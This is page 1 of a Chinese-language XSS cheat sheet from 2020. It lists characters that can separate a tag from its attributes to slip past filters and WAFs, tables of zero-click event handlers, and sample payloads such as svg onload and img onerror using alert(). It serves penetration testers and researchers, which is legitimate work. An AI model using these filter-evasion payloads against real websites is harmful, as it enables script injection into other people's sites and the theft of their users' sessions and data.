2020年仍然有效的一些XSS Payload

来源:岁月联盟 编辑:猪蛋儿 时间:2020-03-16


其实,现在网络上很多的XSS Cheat Sheet都已经过期了。很多的XSS Cheat Sheet都是直接从其他地方粗制粘贴过来的,而且有的测试用例早在十年前就已经没用了,但是也没人去整理和清理。除此之蛙,在大多数情况下我们所遇到的情况都是这些XSS Cheat Sheet测试用例无法解决的,有可能是因为Web应用防火墙,也有可能是因为XSS过滤器。当然了,如果只是一个简单的XSS漏洞,那你需要的仅仅只是一个有效的XSS攻击向量,而不是一堆“没用”的东西。
因此,在这篇文章中我想给大家提供一个“与众不同”的Cheat Sheet,在这份Cheat Sheet中我将给大家提供一份XSS技术和测试用例清单,并给出一些演示样例。希望在各位遇到难解决的WAF或XSS过滤器时,这份Cheat Sheet能够给大家提供一些帮助或灵感。虽然这份Cheat Sheet不能说100%完整,但是我相信这里提供的技术是2020年绝大部分研究人员仍在使用的技术。
标签-属性分隔符
有些过滤器会“天真地认为”只有某些特定字符可以分隔标签及其属性,下面给出的是在Firefox和Chrome中能够使用的有效分隔符的完整列表:
十进制值
URL编码
介绍
47
%2F
正斜杠
13
%0D
回车
12
%0C
分页符
10
%0A
换行
9
%09
水平制表符
使用方式
一般来说,你的Payload构造如下:
svg onload=alert(1)>
你可以尝试使用上述字符来替换‘svg’和‘onload’中间的空格,这样就可以保证HTML仍然有效并且Payload能够正确执行(DEMO:有效的HTML):
svg/onload=alert(1)>svg>
    svg
    onload=alert(1)>svg> # newline char
    svg onload=alert(1)>svg> # tab char
    svgonload=alert(1)>svg> # new page char (0xc)
基于JavaScript事件的XSS
详细参考资料:更多的HTML事件
标准HTML事件
0点击事件:
事件名称
标签
备注
onload
body, iframe, img, frameset, input, script, style, link, svg
适用于0-click,但通常会被过滤掉
onpageshow
body
适用于 0-click,但只能用在非DOM注入
onfocus
大多数标签
适用于 0-click:配合autofocus=””使用
onmouseover
大多数标签
如果可能的话,添加参数值来让其尽可能的大。
onerror
img, input, object, link, script, video, audio
确保传递参数来终止运行
onanimationstart
与任何可以设置动画的元素组合
启动,然后开始CSS动画
onanimationend
与任何可以设置动画的元素组合
启动,然后结束CSS动画
onstart
marquee
在字幕动画启动时启动-仅限Firefox
onfinish
marquee
在字幕动画启动时启动-仅限Firefox
ontoggle
details
必须提供’opne’参数以支持0-click
使用样例:
body onload=alert()>
    img src=x onerror=alert()>
    svg onload=alert()>
    body onpageshow=alert(1)>
    div style="width:1000px;height:1000px" onmouseover=alert()>div>
    marquee width=10 loop=2 behavior="alternate" onbounce=alert()> (firefox only)
    marquee onstart=alert(1)> (firefox only)
    marquee loop=1 width=0 onfinish=alert(1)> (firefox only)
    input autofocus="" onfocus=alert(1)>input>
    details open ontoggle="alert()">  (chrome & opera only)
HTML5事件
0点击事件:
事件名称
标签
备注
onplay
video, audio
适用于0-click:结合HTML的autoplay属性以及结合有效的视频/音频
onplaying
video, audio
适用于0-click: 结合HTML的autoplay属性以及结合有效的视频/音频
oncanplay
video, audio
必须链接有效的视频/音频
onloadeddata
video, audio
必须链接有效的视频/音频
onloadedmetadata
video, audio
必须链接有效的视频/音频
onprogress
video, audio
必须链接有效的视频/音频
onloadstart
video, audio
潜在的0-click向量

[1] [2] [3]  下一页